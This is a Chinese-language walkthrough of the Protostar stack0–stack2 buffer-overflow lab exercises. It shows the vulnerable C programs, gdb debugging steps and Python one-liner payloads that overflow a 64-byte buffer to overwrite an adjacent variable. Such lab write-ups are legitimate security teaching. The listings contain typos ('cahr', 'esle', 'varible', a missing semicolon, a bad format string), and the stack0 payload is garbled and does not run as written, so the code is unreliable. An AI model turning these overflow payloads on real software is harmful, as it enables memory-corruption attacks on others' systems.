使用的protostar虚拟机镜像,源站点暂时不能访问,可自行google。
缓冲区溢出的第一关,protostar Stack0
About:
这个级别介绍了可以在程序分配内存区域之外访问内存的概念,如何布局堆栈变量,以及在分配内存之外修改某些程序执行。
stack0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char *argv[]){
volatile int modified;
cahr buffer[64];
modified = 0;
gets(buffer);
if (modified != 0) {
printf("You have changed the 'modified' variable\n");
} esle {
printf("Try again?\n")
}
}
gets()函数,读取用户输入,直到换行符或eof。buf[64]位于堆栈内存中,因为它们是局部变量。在这种情况下,目标变量跟随缓冲区,读取超过缓冲区所能容纳的字符将继续向堆栈中写入数据,并最终覆盖修改后的零值(以及堆栈中包含的所有其他内容:返回指针、存储基指针、环境变量…)。
开始使用gdb调试程序:gdb /opt/protostar/bin/stack0
设置两个断点,在gets函数调用前和调用后:break 0x0804840c break 0x08048411
使用define hook-stop,在断点停止处执行设置的gdb指令:
info registers
x/24wx $esp
x/2i $eip
run:
c (AAAAAAAAAAA)
可以看到程序是将’modified‘放到stack(0)的位置,然后是分配的buffer空间。
因此,如果放置的缓冲区超过了可以容纳的容量(64),它将溢出到堆栈中以前分配的项中。可以利用这一点,从而计算出:
python -c 'print “A”(4+163+14)’ | ./stack0
#####################################################################
stack1.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
volatile int modified;
char buffer[64];
if (argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if (modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x08x\n", modified);
}
}
同样的策略,只不过最后的四个字节变为’dcba’(0x61626364),
#########################################################################
stack2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[]){
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if (variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, varible);
if (modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
通过以下简单命令可以解决这个问题:
$ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
$ ./stack2
you have correctly modified the variable
将64个’A’和0x0d0a0d0a(小端)放入环境变量中。当上边的c程序读取环境变量时,将会缓冲区溢出到"modified"中。